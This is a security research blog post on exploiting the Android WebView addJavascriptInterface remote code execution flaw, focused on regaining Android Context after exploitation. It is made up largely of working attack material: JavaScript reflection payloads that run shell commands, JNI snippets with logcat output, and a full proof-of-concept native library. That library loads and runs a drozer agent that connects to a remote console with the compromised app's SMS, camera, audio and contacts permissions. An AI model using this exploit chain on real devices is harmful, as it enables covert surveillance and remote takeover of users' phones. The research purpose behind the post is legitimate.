This post attempts to put into ‘Context’ the process of exploiting the WebView addJavascriptInterface Remote Code Execution vulnerability that we have previously discussed. In particular we present details on how to obtain/retain Android Context in order to perform more effective post exploitation tasks.

This post attempts to put into ‘Context’ the process of exploiting the WebView addJavascriptInterface Remote Code Execution vulnerability. The following posts and resources are worth reading before continuing with this post if you are not already familiar with this issue:

Since we published our research into Android WebViews a lot of discoveries have been made that affect the risk profile of Android applications and devices. The vulnerability in question that MWR helped raise the profile of has since been rebranded by various other people in the industry and is often also coined as “addjsif”, “JS-Binding-Over-HTTP” and “JavaScript Sidedoor”. No doubt a logo is also in production by some hipster graphic designer ala HeartBleed. In addition numerous exploits have been published and incorporated into several well-known exploitation and assessment frameworks:

All of the exploits primarily consist of executing operating system commands via a Java reflection technique resulting in calls to java.lang.Runtime.exec. Whilst this is an effective technique and clearly demonstrates the severity of the issue, we wanted to work on more effective post exploitation techniques and have them integrated within the drozer framework. We received requests to demonstrate the extent of exploiting this issue and to provide an illustration of the types of activities achievable.

The problem with the exploitation techniques used in these frameworks (including MWR’s) is that once code execution has been achieved, you lose Android Context. Android Context is an interface to global information about an application environment and an abstract class whose implementation is provided by the Android system. It allows access to application-specific resources and classes, as well as calls through binder to the Activity Manager Service for application-level operations such as launching activities, broadcasting and receiving intents, etc. Without Context it is not possible to fully leverage the compromised application’s permissions in order to perform tasks e.g reading SMS messages. The rest of this post details our investigations into obtaining Android Context as a post-exploitation activity.

The initial exploitation vector relies on injecting JavaScript into an Android WebView that exposes a JavaScript to Java bridge. We began by asking ourselves, is it possible to use reflection techniques on the same bridge to obtain Context and/or directly execute Classes and Methods that would be useful for post exploitation scenarios? We found that if we have a class that exposes a public method that doesn’t take parameters that also returns an instance of the class, e.g. java.lang.runtime.getRuntime(), we can then call any exposed methods and pass parameters of simple data types such as String, Int, and Array etc.

Example:

jsinvoke.getClass().forName(‘java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(['/system/bin/sh', ‘-c', 'id']);

The java.lang.Runtime class doesn’t have a constructor, but the method getRuntime() returns an instance of the class allowing us to in turn call the method exec() on what is an essentially an instantiated class.

If we have a class that exposes a public constructor that doesn’t take parameters that we can call newInstance on, then we can instantiate the class as well. Once instantiated, we can call methods that don’t take parameters. The following is an example of attempting to invoke a microphone recorder from JavaScript:

MediaRecorderClass = jsinvoke.getClass().forName('android.media.MediaRecorder').newInstance(); MediaRecorderClass.start();

However, in our experiments, it appeared as if parameters were unsuccessfully passed to methods.

MediaRecorderClass.setAudioSource(1); MediaRecorderClass.setOutputFormat(1); MediaRecorderClass.setOutputFile(FileName); MediaRecorderClass.setAudioEncoder(1); MediaRecorderClass.prepare(); MediaRecorderClass.start();

The call to prepare() fails, suggesting that the parameters have not been set up correctly.

We explored an alternative approach using the Android ClassLoader to load arbitrary classes and invoke their methods via reflection.

var obj_dexClassLoaderClass = jsinvoke.getClass().forName('dalvik.system.DexClassLoader').getMethod('getSystemClassLoader',null).invoke(null,null); var obj_Class = obj_dexClassLoaderClass.loadClass(str_Class); var obj_Constructor = obj_Class.getConstructor(str_Constructor); var obj_Method = obj_Class.getMethod(str_Method,null); var obj_instantiatedClass = obj_Constructor.newInstance(null); var obj_Method.invoke(obj_instantiatedClass,null);

The above works for any Constructor or Method that does not require parameters. This is because we are using the ClassLoader to load and instantiate the class and we can’t pass class objects to the getMethod() method from JavaScript as JavaScript doesn’t support the data type.

Attempts were then made to construct the complex data types in JavaScript via reflection.

var reflectArrayClass = jsinvoke.getClass().forName('java.lang.reflect.Array'); var IntClass = jsinvoke.getClass().forName('[I'); var StringClass = jsinvoke.getClass().forName('[Ljava.lang.String;');"

Whilst the objects appear to be valid classes, they are not passed correctly to the constructor. We had to conclude that it may not be possible to pass complex objects to Classes or Methods that JavaScript does not have native support for. We then decided to look at using a shared library using the Java Native Interface (JNI). JNI defines a way for managed code (written in the Java programming language) to interact with native code (written in C/C++). This has support for the complex data types that we need. A shared library can be loaded using reflection from JavaScript.

jsinvoke.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).load(fileName);

In JNI we can load a class, call its constructor, and instantiate and call its methods. An example is presented below:

jclass class = env->FindClass("path/to/myclass"); jmethodID method = env->GetMethodID(cls, "<init>", "()V"); jobject result = env->NewObject(cls, method);

We can pass complex data type signatures also if required. For example the signature for ClassLoader is Ljava/lang/ClassLoader; and the signature for Context is Ljandroid/app/context;.

Some tips for how to use JNI can be found here. Using JNI we are no longer constrained to simple data types, which means we can load any class and call any method, even if we need to instantiate via constructors that take complex parameter types. Nice. However, we still want Context.

The android.app base class is used for maintaining global application state. Its constructor is Application() and the Context can be retrieved by calling the method getApplicationContext(). The method returns the context of the single, global Application object of the current process. However, we can’t use this from JNI.

jclass theClass = (*env)->FindClass(env,"android/app/Application"); if(!theClass){LOGE(LOG_TAG, "[x] failed to get android/app/Application");} else{LOGD(LOG_TAG, "[x] got android/app/Application = %p", theClass);} jmethodID method = (*env)->GetMethodID(env,theClass, "<init>", "()V"); if(!method){LOGE(LOG_TAG, "[x] failed to get constructor");} else{LOGD(LOG_TAG, "[x] got constructor = %ld",(long) method);} jobject application = (*env)->NewObject(env,theClass, method); if(!application){LOGE(LOG_TAG, "[x] failed to get application");} else{LOGD(LOG_TAG, "[x] got application object");} method = (*env)->GetMethodID(env,theClass,"getApplicationContext","()Landroid/content/Context;"); if(!method){LOGE(LOG_TAG, "[x] failed to get getApplicationContext");} else{LOGD(LOG_TAG, "[x] got getApplicationContext = %ld",(long) method);} jobject context = (*env)->CallObjectMethod(env,application,method); if(!context){LOGE(LOG_TAG, "[x] failed to get context");} else{LOGD(LOG_TAG, "[x] got context", method);}

The code above results in the following java.lang.RuntimeException.

05-08 12:06:02.027: D/dalvikvm(7924): Trying to load lib /data/data/com.mwrlabs.riverkwai/libhello-jni.so 0x40ff39f8 05-08 12:06:02.047: D/dalvikvm(7924): Added shared lib /data/data/com.mwrlabs.riverkwai/libhello-jni.so 0x40ff39f8 05-08 12:06:02.047: D/com.mwr.dz(7924): [x] got android/app/Application = 0x34c00019 05-08 12:06:02.047: D/com.mwr.dz(7924): [x] got constructor = 0x420e24e8 05-08 12:06:02.047: D/com.mwr.dz(7924): [x] got application object 05-08 12:06:02.047: D/com.mwr.dz(7924): [x] got getApplicationContext = 0x420abf28 05-08 12:06:02.047: D/AndroidRuntime(7924): Shutting down VM 05-08 12:06:02.047: W/dalvikvm(7924): threadid=1: thread exiting with uncaught exception (group=0x40a13300) 05-08 12:06:02.077: E/AndroidRuntime(7924): FATAL EXCEPTION: main 05-08 12:06:02.077: E/AndroidRuntime(7924): java.lang.RuntimeException: Unable to start activity ComponentInfo{com.mwrlabs.riverkwai/com.mwrlabs.riverkwai.MainActivity}: java.lang.NullPointerException 05-08 12:06:02.077: E/AndroidRuntime(7924): at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2059) 05-08 12:06:02.077: E/AndroidRuntime(7924): at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2084) 05-08 12:06:02.077: E/AndroidRuntime(7924): at android.app.ActivityThread.access$600(ActivityThread.java:130) 05-08 12:06:02.077: E/AndroidRuntime(7924): at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1195) 05-08 12:06:02.077: E/AndroidRuntime(7924): at android.os.Handler.dispatchMessage(Handler.java:99) 05-08 12:06:02.077: E/AndroidRuntime(7924): at android.os.Looper.loop(Looper.java:137) 05-08 12:06:02.077: E/AndroidRuntime(7924): at android.app.ActivityThread.main(ActivityThread.java:4745) 05-08 12:06:02.077: E/AndroidRuntime(7924): at java.lang.reflect.Method.invokeNative(Native Method) 05-08 12:06:02.077: E/AndroidRuntime(7924): at java.lang.reflect.Method.invoke(Method.java:511) 05-08 12:06:02.077: E/AndroidRuntime(7924): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:786) 05-08 12:06:02.077: E/AndroidRuntime(7924): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:553) 05-08 12:06:02.077: E/AndroidRuntime(7924): at dalvik.system.NativeStart.main(Native Method) 05-08 12:06:02.077: E/AndroidRuntime(7924): Caused by: java.lang.NullPointerException 05-08 12:06:02.077: E/AndroidRuntime(7924): at android.content.ContextWrapper.getApplicationContext(ContextWrapper.java:101) 05-08 12:06:02.077: E/AndroidRuntime(7924): at java.lang.Runtime.nativeLoad(Native Method) 05-08 12:06:02.077: E/AndroidRuntime(7924): at java.lang.Runtime.load(Runtime.java:338) 05-08 12:06:02.077: E/AndroidRuntime(7924): at java.lang.Runtime.load(Runtime.java:328) 05-08 12:06:02.077: E/AndroidRuntime(7924): at com.mwrlabs.riverkwai.MainActivity.onCreate(MainActivity.java:43) 05-08 12:06:02.077: E/AndroidRuntime(7924): at android.app.Activity.performCreate(Activity.java:5008) 05-08 12:06:02.077: E/AndroidRuntime(7924): at android.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1079) 05-08 12:06:02.077: E/AndroidRuntime(7924): at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2023) 05-08 12:06:02.077: E/AndroidRuntime(7924): ... 11 more

There is an undocumented way to retrieve a Context from anywhere in the UI thread. It relies on the hidden static method ActivityThread.currentApplication()

jclass theClass = (*env)->FindClass(env,"android/app/ActivityThread"); if(!theClass){LOGE(LOG_TAG, "[x] failed to get android/app/ActivityThread");} else{LOGD(LOG_TAG, "[x] got android/app/ActivityThread = %p", theClass);} jmethodID method = (*env)->GetStaticMethodID(env,theClass,"currentApplication","()Landroid/app/Application;"); if(!method){LOGE(LOG_TAG, "[x] failed to get currentApplication");} else{LOGD(LOG_TAG, "[x] got currentApplication = %ld",(long) method);} jobject context = (*env)->CallStaticObjectMethod(env,theClass,method); if(!context){LOGE(LOG_TAG, "[x] failed to get context");} else{LOGD(LOG_TAG, "[x] got context");}

The code above, when called from the application’s main Activity (UI Thread), results in the following:

05-08 12:53:30.807: D/dalvikvm(8189): Trying to load lib /data/data/com.mwrlabs.riverkwai/libhello-jni.so 0x40ff7568 05-08 12:53:30.807: D/dalvikvm(8189): Added shared lib /data/data/com.mwrlabs.riverkwai/libhello-jni.so 0x40ff7568 05-08 12:53:30.807: D/com.mwr.dz(8189): [x] got android/app/ActivityThread = 0x38000019 05-08 12:53:30.807: D/com.mwr.dz(8189): [x] got currentApplication = 1107976208 05-08 12:53:30.807: D/com.mwr.dz(8189): [x] got context

However, when called from the JavaScript within the WebView thread, we are unable to retrieve Context:

05-08 12:53:00.977: D/dalvikvm(8131): Trying to load lib /data/data/com.mwrlabs.riverkwai/libhello-jni.so 0x0 05-08 12:53:00.977: D/dalvikvm(8131): Added shared lib /data/data/com.mwrlabs.riverkwai/libhello-jni.so 0x0 05-08 12:53:00.987: D/com.mwr.dz(8131): [x] got android/app/ActivityThread = 0x1f900009 05-08 12:53:00.987: D/com.mwr.dz(8131): [x] got currentApplication = 1107976208 05-08 12:53:00.987: E/com.mwr.dz(8131): [x] failed to get context 05-08 12:53:30.257: E/Trace(8189): error opening trace file: No such file or directory (2)

Another method of obtaining Context is available using another undocumented method, getInitialApplication() from the class android.app.AppGlobals().

jclass theClass = (*env)->FindClass(env,"android/app/AppGlobals"); if(!theClass){LOGE(LOG_TAG, "[x] failed to get android.app.AppGlobals");} else{LOGD(LOG_TAG, "[x] got android.app.AppGlobals = %p", theClass);} jmethodID method = (*env)->GetStaticMethodID(env,theClass,"getInitialApplication","()Landroid/app/Application;"); if(!method){LOGE(LOG_TAG, "[x] failed to get getInitialApplication");} else{LOGD(LOG_TAG, "[x] got getInitialApplication = %ld",(long) method);} jobject context = (*env)->CallStaticObjectMethod(env,theClass,method); if(!context){LOGE(LOG_TAG, "[x] failed to get context");} else{LOGD(LOG_TAG, "[x] got context");}

The code above, when called from the applications main Activity (UI Thread), results in the following

05-08 12:41:17.687: D/dalvikvm(8000): Trying to load lib /data/data/com.mwrlabs.riverkwai/libhello-jni.so 0x40ff48a0 05-08 12:41:17.727: D/dalvikvm(8000): Added shared lib /data/data/com.mwrlabs.riverkwai/libhello-jni.so 0x40ff48a0 05-08 12:41:17.727: D/com.mwr.dz(8000): [x] got android.app.AppGlobals = 0x35900019 05-08 12:41:17.727: D/com.mwr.dz(8000): [x] got getInitialApplication = 1108222856 05-08 12:41:17.727: D/com.mwr.dz(8000): [x] got context

However when called from the JavaScript within the WebView thread, we are unable to retrieve Context:

05-08 12:42:27.637: D/dalvikvm(8058): Trying to load lib /data/data/com.mwrlabs.riverkwai/libhello-jni.so 0x0 05-08 12:42:27.637: D/dalvikvm(8058): Added shared lib /data/data/com.mwrlabs.riverkwai/libhello-jni.so 0x0 05-08 12:42:27.637: D/com.mwr.dz(8058): [x] got android.app.AppGlobals = 0x1f900009 05-08 12:42:27.637: D/com.mwr.dz(8058): [x] got getInitialApplication = 1108222856 05-08 12:42:27.637: E/com.mwr.dz(8058): [x] failed to get context

Finally, after much frustration another method of obtaining Context was identified. We can create our own Context (based on the system uid) using the android.app.ContextImpl class.

jclass theClass = (*env)->FindClass(env,"android/app/ActivityThread"); if(!theClass){LOGE(LOG_TAG, "[x] failed to get android/app/ActivityThread");} else{LOGD(LOG_TAG, "[x] got android/app/ActivityThread = %p", theClass);} jmethodID method = (*env)->GetStaticMethodID(env,theClass,"systemMain","()Landroid/app/ActivityThread;"); if(!method){LOGE(LOG_TAG, "[x] failed to get systemMain");} else{LOGD(LOG_TAG, "[x] got systemMain = %ld",(long) method);} jobject activityThread = (*env)->CallStaticObjectMethod(env,theClass,method); if(!activityThread){LOGE(LOG_TAG, "[x] failed to get activityThread");} else{LOGD(LOG_TAG, "[x] got activityThread");} theClass = (*env)->FindClass(env,"android/app/ContextImpl"); if(!theClass){LOGE(LOG_TAG, "[x] failed to get android/app/ContextImpl");} else{LOGD(LOG_TAG, "[x] got android/app/ContextImpl = %p", theClass);} method = (*env)->GetStaticMethodID(env,theClass,"createSystemContext","(Landroid/app/ActivityThread;)Landroid/app/ContextImpl;"); if(!method){LOGE(LOG_TAG, "[x] failed to get createSystemContext");} else{LOGD(LOG_TAG, "[x] got createSystemContext = %ld",(long) method);} jobject context = (*env)->CallStaticObjectMethod(env,theClass,method,activityThread); if(!context){LOGE(LOG_TAG, "[x] failed to get context");} else{LOGD(LOG_TAG, "[x] got context");}

When called from the JavaScript within the WebView thread, we are able to get Context:

05-08 13:11:28.047: D/dalvikvm(8252): Trying to load lib /data/data/com.mwrlabs.riverkwai/libhello-jni.so 0x0 05-08 13:11:28.047: D/dalvikvm(8252): Added shared lib /data/data/com.mwrlabs.riverkwai/libhello-jni.so 0x0 05-08 13:11:28.047: D/com.mwr.dz(8252): [x] got android/app/ActivityThread = 0x1ff00009 05-08 13:11:28.047: D/com.mwr.dz(8252): [x] got systemMain = 1107978840 05-08 13:11:28.047: D/com.mwr.dz(8252): [x] got activityThread 05-08 13:11:28.057: D/com.mwr.dz(8252): [x] got android/app/ContextImpl = 0x2c400011 05-08 13:11:28.057: D/com.mwr.dz(8252): [x] got createSystemContext = 1108243728 05-08 13:11:28.057: D/com.mwr.dz(8252): [x] got context

However, this is Context relating to the system user and not the exploited application’s Context. This still allows access to use all features provided by having Context, however calls to retrieve package information such as the private data directory, current permissions held by the application and package name report incorrect values. As can be seen below, when we use this context to launch drozer we clearly have Context and permissions:

$ drozer console connect Selecting aed8a7f21vlf4 (unknown unknown unknown) .. ..:. ..o.. .r.. ..a.. . ....... . ..nd ro..idsnemesisand..pr .otectorandroidsneme. .,sisandprotectorandroids+. ..nemesisandprotectorandroidsn:. .emesisandprotectorandroidsnemes.. ..isandp,..,rotectorandro,..,idsnem. .isisandp..rotectorandroid..snemisis. ,andprotectorandroidsnemisisandprotec. .torandroidsnemesisandprotectorandroid. .snemisisandprotectorandroidsnemesisan: .dprotectorandroidsnemesisandprotector. drozer Console (v2.3.3) dz> permissions Has ApplicationContext: YES Available Permissions: - android.intent.category.MASTER_CLEAR.permission.C2D_MESSAGE - android.permission.CONFIRM_FULL_BACKUP

The actual application we exploited had the following permissions, showing that drozer has Context that was populated with the incorrect package information.

<uses-permission android:name="android.permission.READ_CONTACTS"/> <uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="android.permission.CALL_PHONE"/> <uses-permission android:name="android.permission.CAMERA"/> <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.READ_SMS"/> <uses-permission android:name="android.permission.RECORD_AUDIO"/> <uses-permission android:name="android.permission.SEND_SMS"/> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>

Finally another method of obtaining Context was identified, namely the createPackageContext method. The method is available from the android.content.Context, android.app.ContextImpl and android.content.ContextWrapper classes. The method returns a new Context object for the given application name. The method is called with the CONTEXT_IGNORE_SECURITY flag. However every attempt to use this method (from any one of the three classes) from JNI resulted in various JNI exceptions. An example of how to call the method is presented below.

jclass theClass = (*env)->FindClass(env,"android/app/ContextImpl"); jmethodID method = (*env)->GetMethodID(env,theClass,"createPackageContext","(Ljava/lang/String;I)Landroid/content/Context;"); jstring package_name = (*env)->NewStringUTF(env,"com.mwrlabs.riverkwai"); jobject context = (*env)->CallObjectMethod(env, theClass, method, package_name, 2);

One of the errors consistently received is presented below:

05-12 21:03:05.527: W/dalvikvm(1307): JNI WARNING: can't call Landroid/app/ContextImpl;.createPackageContext on instance of Ljava/lang/Class; 05-12 21:03:05.537: W/dalvikvm(1307): in Ljava/lang/Runtime;.nativeLoad:(Ljava/lang/String;Ljava/lang/ClassLoader;)Ljava/lang/String; (CallObjectMethod)

At this stage of the exploit development experiments, we do have system user Context. This is enough to use the ClassLoader to instantiate a drozer agent class. This exploitation approach was detailed in another blog post that can be found here. Essentially we can modify the drozer agent so that it accepts the package name (String) and Context object as parameters within it’s constructor and pass these values from JNI. We also add and call the method createPackageContext from the managed Java code, which successfully provides us with the exploited application’s Context.

$ drozer console connect Selecting e77fd7edvch34 (unknown unknown unknown) .. ..:. ..o.. .r.. ..a.. . ....... . ..nd ro..idsnemesisand..pr .otectorandroidsneme. .,sisandprotectorandroids+. ..nemesisandprotectorandroidsn:. .emesisandprotectorandroidsnemes.. ..isandp,..,rotectorandro,..,idsnem. .isisandp..rotectorandroid..snemisis. ,andprotectorandroidsnemisisandprotec. .torandroidsnemesisandprotectorandroid. .snemisisandprotectorandroidsnemesisan: .dprotectorandroidsnemesisandprotector. drozer Console (v2.3.3) dz> permissions Has ApplicationContext: YES Available Permissions: - android.permission.CALL_PHONE - android.permission.CAMERA - android.permission.INTERNET - android.permission.READ_CONTACTS - android.permission.READ_EXTERNAL_STORAGE - android.permission.READ_SMS - android.permission.RECORD_AUDIO - android.permission.SEND_SMS - android.permission.WRITE_EXTERNAL_STORAGE

As can be seen from the output above, drozer has Context and this time it is populated with the correct package information. Much jubilation!

The PoC JNI code is below:

#include <string.h> #include <stdio.h> #include <stdlib.h> #include <jni.h> #include <android/log.h> #define LOG_TAG "com.mwr.dz" #define LOGD(LOG_TAG, ...) __android_log_print(ANDROID_LOG_DEBUG, LOG_TAG, __VA_ARGS__) #define LOGV(LOG_TAG, ...) __android_log_print(ANDROID_LOG_VERBOSE, LOG_TAG, __VA_ARGS__) #define LOGE(LOG_TAG, ...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__) JNIEXPORT jint JNICALL JNI_OnLoad(JavaVM *vm, void *pvt) { JNIEnv *env; (*vm)->AttachCurrentThread(vm, &env, 0); jclass theClass, dex_class; jmethodID method; jobject activityThread, context, objPattern, objMatcher; jstring match, pattern, strResult, file_path, jar_file, string_host, package_name; jstring agent_class = (*env)->NewStringUTF(env, "com.mwr.dz.Agent"); const char *result[1035]; const char *filePath[1024]; const char *jarFile[1024]; const char *configFile[1024]; char *nativeMatch; char host[16]; char portNum[5]; int port; FILE *fp; // get (System)Context theClass = (*env)->FindClass(env,"android/app/ActivityThread"); method = (*env)->GetStaticMethodID(env,theClass,"systemMain","()Landroid/app/ActivityThread;"); activityThread = (*env)->CallStaticObjectMethod(env,theClass,method); theClass = (*env)->FindClass(env,"android/app/ContextImpl"); method = (*env)->GetStaticMethodID(env,theClass,"createSystemContext","(Landroid/app/ActivityThread;)Landroid/app/ContextImpl;"); context = (*env)->CallStaticObjectMethod(env,theClass,method,activityThread); // get UID fp = popen("/system/bin/id", "r"); while (fgets(result, sizeof(result)-1, fp) != NULL) { theClass = (*env)->FindClass(env,"java/util/regex/Pattern"); method = (*env)->GetStaticMethodID(env,theClass,"compile","(Ljava/lang/String;)Ljava/util/regex/Pattern;"); char *nativePattern = "(app_\\d+|u0_a\\d+)"; pattern = (*env)->NewStringUTF(env, nativePattern); objPattern = (*env)->CallStaticObjectMethod(env,theClass,method,pattern); method = (*env)->GetMethodID(env,theClass,"matcher","(Ljava/lang/CharSequence;)Ljava/util/regex/Matcher;"); strResult = (*env)->NewStringUTF(env, result); objMatcher = (*env)->CallObjectMethod(env,objPattern,method,strResult); theClass = (*env)->FindClass(env,"java/util/regex/Matcher"); method = (*env)->GetMethodID(env,theClass,"find","()Z"); jboolean findBool = (*env)->CallBooleanMethod(env,objMatcher,method); method = (*env)->GetMethodID(env,theClass,"group","()Ljava/lang/String;"); match = (*env)->CallObjectMethod(env,objMatcher,method,1); nativeMatch = (*env)->GetStringUTFChars(env, match, 0); } pclose(fp); // get app dir fp = popen("/system/bin/ps", "r"); char *ch; while (fgets(result, sizeof(result)-1, fp) != NULL) { char *b = strstr(result,nativeMatch); if(b){ theClass = (*env)->FindClass(env,"java/util/regex/Pattern"); method = (*env)->GetStaticMethodID(env,theClass,"compile","(Ljava/lang/String;)Ljava/util/regex/Pattern;"); char *nativePattern = "(\\w+\\..*)"; pattern = (*env)->NewStringUTF(env, nativePattern); objPattern = (*env)->CallStaticObjectMethod(env,theClass,method,pattern); method = (*env)->GetMethodID(env,theClass,"matcher","(Ljava/lang/CharSequence;)Ljava/util/regex/Matcher;"); strResult = (*env)->NewStringUTF(env, result); objMatcher = (*env)->CallObjectMethod(env,objPattern,method,strResult); theClass = (*env)->FindClass(env,"java/util/regex/Matcher"); method = (*env)->GetMethodID(env,theClass,"find","()Z"); jboolean findBool = (*env)->CallBooleanMethod(env,objMatcher,method); method = (*env)->GetMethodID(env,theClass,"group","()Ljava/lang/String;"); match = (*env)->CallObjectMethod(env,objMatcher,method,1); nativeMatch = (*env)->GetStringUTFChars(env, match, 0); } } pclose(fp); sprintf(filePath, "/data/data/%s", nativeMatch); file_path = (*env)->NewStringUTF(env, filePath); sprintf(jarFile, "%s/files/agent.jar", filePath); jar_file = (*env)->NewStringUTF(env, jarFile); package_name = (*env)->NewStringUTF(env,nativeMatch); // read in connection params sprintf(configFile, "%s/files/drozer.config", filePath); FILE *f = fopen(configFile, "rt"); char buff[1024]; fgets(buff, 1024, f); fclose(f); strcpy(host, strtok(buff,",")); strcpy(portNum, strtok(NULL,",")); port = atoi(portNum); string_host = (*env)->NewStringUTF(env, host); // class load and execute drozer agent jobject class_loader = (*env)->CallObjectMethod(env, context, (*env)->GetMethodID(env, (*env)->GetObjectClass(env, context), "getClassLoader", "()Ljava/lang/ClassLoader;")); theClass = (*env)->FindClass(env, "dalvik/system/DexClassLoader"); jobject dex_loader = (*env)->NewObject(env, theClass, (*env)->GetMethodID(env, theClass, "<init>", "(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/ClassLoader;)V"), jar_file, file_path, NULL, class_loader); jobject objAgentClass = (*env)->CallObjectMethod(env, dex_loader, (*env)->GetMethodID(env, theClass, "loadClass", "(Ljava/lang/String;)Ljava/lang/Class;"), agent_class); method = (*env)->GetMethodID(env, objAgentClass, "<init>", "(Ljava/lang/String;ILjava/lang/String;Landroid/content/Context;)V"); jobject agentObj = (*env)->NewObject(env, objAgentClass, method, string_host, port, package_name, context); method = (*env)->GetMethodID(env,objAgentClass,"run","()V"); (*env)->CallVoidMethod(env,agentObj,method); return JNI_VERSION_1_6; }

The finished exploit will be available in drozer very